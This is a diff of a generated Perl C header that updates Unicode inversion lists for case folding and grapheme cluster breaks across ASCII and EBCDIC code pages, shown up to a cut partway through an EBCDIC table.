+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	0x59,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
+	0x1F60,
+	0,
+	0x1F80,
+	0,
+	0x1F90,
+	0,
+	0x1FA0,
+	0,
+	0x1FB0,
+	0x1F70,
+	0x1FB3,
+	0,
+	0x1F72,
+	0x1FC3,
+	0,
+	0x1FD0,
+	0x1F76,
+	0,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	0x1F78,
+	0x1F7C,
+	0x1FF3,
+	0,
+	0x3C9,
+	0,
+	0x92,
+	0x47,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for ASCII/Latin1 */
+	45,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2BC,
+	0x2BD,
+	0x308,
+	0x309,
+	0x313,
+	0x314,
+	0x342,
+	0x343,
+	0x3AC,
+	0x3AD,
+	0x3AE,
+	0x3AF,
+	0x3B1,
+	0x3B2,
+	0x3B7,
+	0x3B8,
+	0x3B9,
+	0x3BA,
+	0x3C1,
+	0x3C2,
+	0x3C5,
+	0x3C6,
+	0x3C9,
+	0x3CA,
+	0x3CE,
+	0x3CF,
+	0x565,
+	0x566,
+	0x574,
+	0x575,
+	0x57E,
+	0x57F,
+	0x1F00,
+	0x1F08,
+	0x1F20,
+	0x1F28,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F71,
+	0x1F74,
+	0x1F75,
+	0x1F7C,
+	0x1F7D
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 1047 */
+	45,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2BC,
+	0x2BD,
+	0x308,
+	0x309,
+	0x313,
+	0x314,
+	0x342,
+	0x343,
+	0x3AC,
+	0x3AD,
+	0x3AE,
+	0x3AF,
+	0x3B1,
+	0x3B2,
+	0x3B7,
+	0x3B8,
+	0x3B9,
+	0x3BA,
+	0x3C1,
+	0x3C2,
+	0x3C5,
+	0x3C6,
+	0x3C9,
+	0x3CA,
+	0x3CE,
+	0x3CF,
+	0x565,
+	0x566,
+	0x574,
+	0x575,
+	0x57E,
+	0x57F,
+	0x1F00,
+	0x1F08,
+	0x1F20,
+	0x1F28,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F71,
+	0x1F74,
+	0x1F75,
+	0x1F7C,
+	0x1F7D
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 037 */
+	45,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2BC,
+	0x2BD,
+	0x308,
+	0x309,
+	0x313,
+	0x314,
+	0x342,
+	0x343,
+	0x3AC,
+	0x3AD,
+	0x3AE,
+	0x3AF,
+	0x3B1,
+	0x3B2,
+	0x3B7,
+	0x3B8,
+	0x3B9,
+	0x3BA,
+	0x3C1,
+	0x3C2,
+	0x3C5,
+	0x3C6,
+	0x3C9,
+	0x3CA,
+	0x3CE,
+	0x3CF,
+	0x565,
+	0x566,
+	0x574,
+	0x575,
+	0x57E,
+	0x57F,
+	0x1F00,
+	0x1F08,
+	0x1F20,
+	0x1F28,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F71,
+	0x1F74,
+	0x1F75,
+	0x1F7C,
+	0x1F7D
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const UV _Perl_GCB_invlist[] = { /* for ASCII/Latin1 */
-	1615,	/* Number of elements */
+	1690,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -2128,6 +18268,8 @@
 	0xACE,
 	0xAE2,
 	0xAE4,
+	0xAFA,
+	0xB00,
 	0xB01,
 	0xB02,
 	0xB04,
@@ -2195,9 +18337,11 @@
 	0xCD7,
 	0xCE2,
 	0xCE4,
-	0xD01,
+	0xD00,
 	0xD02,
 	0xD04,
+	0xD3B,
+	0xD3D,
 	0xD3E,
 	0xD3F,
 	0xD41,
@@ -2400,10 +18544,11 @@
 	0x1CF2,
 	0x1CF4,
 	0x1CF5,
+	0x1CF7,
 	0x1CF8,
 	0x1CFA,
 	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1E00,
 	0x200B,
@@ -2419,8 +18564,16 @@
 	0x20F1,
 	0x261D,
 	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
 	0x26F9,
 	0x26FA,
+	0x2708,
+	0x2709,
 	0x270A,
 	0x270E,
 	0x2764,
@@ -3474,6 +19627,26 @@
 	0x11726,
 	0x11727,
 	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A86,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
 	0x11C2F,
 	0x11C30,
 	0x11C37,
@@ -3490,6 +19663,16 @@
 	0x11CB4,
 	0x11CB5,
 	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
 	0x16AF0,
 	0x16AF5,
 	0x16B30,
@@ -3545,12 +19728,30 @@
 	0x1E94B,
 	0x1F1E6,
 	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
 	0x1F385,
 	0x1F386,
-	0x1F3C3,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
 	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
 	0x1F3CA,
-	0x1F3CC,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
 	0x1F3FB,
 	0x1F400,
 	0x1F442,
@@ -3573,7 +19774,13 @@
 	0x1F48C,
 	0x1F4AA,
 	0x1F4AB,
-	0x1F575,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
 	0x1F576,
 	0x1F57A,
 	0x1F57B,
@@ -3587,6 +19794,10 @@
 	0x1F648,
 	0x1F64B,
 	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
 	0x1F6A3,
 	0x1F6A4,
 	0x1F6B4,
@@ -3593,16 +19804,20 @@
 	0x1F6B7,
 	0x1F6C0,
 	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
 	0x1F918,
-	0x1F91F,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
 	0x1F926,
 	0x1F927,
 	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93A,
-	0x1F93C,
+	0x1F93D,
 	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
 	0xE0000,
 	0xE0020,
 	0xE0080,
@@ -3611,11 +19826,13 @@
 	0xE1000
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* ASCII/Latin1 */
 
+#endif	/* defined(PERL_IN_UTF8_C) */
+
 #if defined(PERL_IN_REGEXEC_C)
 
-#define GCB_ENUM_COUNT 19
+#   if 'A' == 65 /* ASCII/Latin1 */
 
 typedef enum {
 	GCB_Other = 0,
@@ -3639,6 +19856,10 @@
 	GCB_EDGE = 18
 } GCB_enum;
 
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const GCB_enum _Perl_GCB_invmap[] = { /* for ASCII/Latin1 */
 	GCB_Control,
 	GCB_LF,
@@ -3775,6 +19996,8 @@
 	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
 	GCB_SpacingMark,
 	GCB_Other,
 	GCB_Extend,
@@ -3845,6 +20068,8 @@
 	GCB_SpacingMark,
 	GCB_Other,
 	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
 	GCB_SpacingMark,
 	GCB_Extend,
 	GCB_Other,
@@ -4046,6 +20271,7 @@
 	GCB_SpacingMark,
 	GCB_Extend,
 	GCB_Other,
+	GCB_SpacingMark,
 	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
@@ -4065,8 +20291,16 @@
 	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
 	GCB_Glue_After_Zwj,
@@ -5120,32 +21354,62 @@
 	GCB_SpacingMark,
 	GCB_Extend,
 	GCB_Other,
+	GCB_Extend,
 	GCB_SpacingMark,
 	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
 	GCB_SpacingMark,
+	GCB_Prepend,
 	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
 	GCB_Other,
+	GCB_Extend,
 	GCB_SpacingMark,
 	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Extend,
 	GCB_SpacingMark,
 	GCB_Extend,
+	GCB_Other,
 	GCB_SpacingMark,
 	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
 	GCB_Other,
 	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
 	GCB_Other,
 	GCB_Extend,
 	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
 	GCB_Control,
 	GCB_Other,
 	GCB_Extend,
@@ -5191,12 +21455,30 @@
 	GCB_Other,
 	GCB_Regional_Indicator,
 	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Modifier,
 	GCB_Other,
 	GCB_E_Base,
@@ -5219,6 +21501,12 @@
 	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
 	GCB_E_Base,
@@ -5233,6 +21521,10 @@
 	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
 	GCB_E_Base,
@@ -5249,6 +21541,10 @@
 	GCB_Other,
 	GCB_E_Base,
 	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
 	GCB_Control,
 	GCB_Extend,
 	GCB_Control,
@@ -5257,74 +21553,15581 @@
 	GCB_Other
 };
 
+#   endif	/* ASCII/Latin1 */
+
 #endif	/* defined(PERL_IN_REGEXEC_C) */
 
 #if defined(PERL_IN_UTF8_C)
 
-static const UV _Perl_IDCont_invlist[] = { /* for ASCII/Latin1 */
-	1367,	/* Number of elements */
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 1047 */
+	1690,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x30,
-	0x3A,
-	0x41,
-	0x5B,
-	0x5F,
-	0x60,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x904,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x93E,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9BF,
+	0x9C1,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC01,
+	0xC04,
+	0xC3E,
+	0xC41,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC5,
+	0xCC6,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD3F,
+	0xD41,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDDF,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1056,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1084,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x1100,
+	0x1160,
+	0x11A8,
+	0x1200,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A55,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B05,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1B83,
+	0x1BA1,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1C24,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
